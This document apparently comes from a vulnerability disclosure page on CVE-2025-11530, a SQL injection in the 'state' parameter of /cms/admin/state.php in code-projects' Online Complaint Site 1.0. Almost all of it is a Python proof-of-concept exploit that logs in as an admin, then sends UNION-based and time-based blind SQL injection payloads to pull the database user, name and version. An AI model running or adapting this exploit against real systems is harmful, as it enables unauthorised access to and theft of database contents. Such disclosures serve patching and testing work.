CVE-2025-11530：code-projects在线投诉系统SQL注入漏洞

# CVE-2025-11530 PoC - SQL Injection in Online Complaint Site 1.0 # Vulnerable file: /cms/admin/state.php # Vulnerable parameter: state import requests # Target configuration TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/cms/admin/" VULN_URL = f"{TARGET_URL}/cms/admin/state.php" # Attacker credentials (low-privilege admin account required) USERNAME = "admin" PASSWORD = "password123" def exploit_sqli(): """Exploit SQL injection via 'state' parameter using UNION-based technique""" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } session.post(LOGIN_URL, data=login_data) # Step 2: Inject malicious SQL payload into 'state' parameter # Payload aims to extract database version and current user sql_payload = "1' UNION SELECT 1,user(),database(),version(),5,6,7-- -" # Step 3: Send the crafted request to the vulnerable endpoint params = {"state": sql_payload} response = session.get(VULN_URL, params=params) # Step 4: Parse and display extracted information if response.status_code == 200: print(f"[+] Exploit successful!") print(f"[+] Response length: {len(response.text)}") # Extract sensitive data from response (customize parsing as needed) if "root@localhost" in response.text or "admin" in response.text: print(f"[+] Database information leaked in response") return response.text else: print(f"[-] Exploit failed, status code: {response.status_code}") return None def time_based_blind_sqli(): """Alternative: Time-based blind SQL injection for data exfiltration""" session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD, "submit": "Login"} session.post(LOGIN_URL, data=login_data) # Time-based payload using SLEEP to confirm injection payload = "1' AND SLEEP(5)-- -" params = {"state": payload} response = session.get(VULN_URL, params=params, timeout=10) elapsed = response.elapsed.total_seconds() if elapsed >= 5: print(f"[+] Time-based SQLi confirmed (response delayed {elapsed}s)") else: print(f"[-] No injection detected") if __name__ == "__main__": print("[*] CVE-2025-11530 Exploit - SQL Injection in state.php") print("[*] Running UNION-based exploit...") exploit_sqli() print("\n[*] Running time-based blind SQLi test...") time_based_blind_sqli()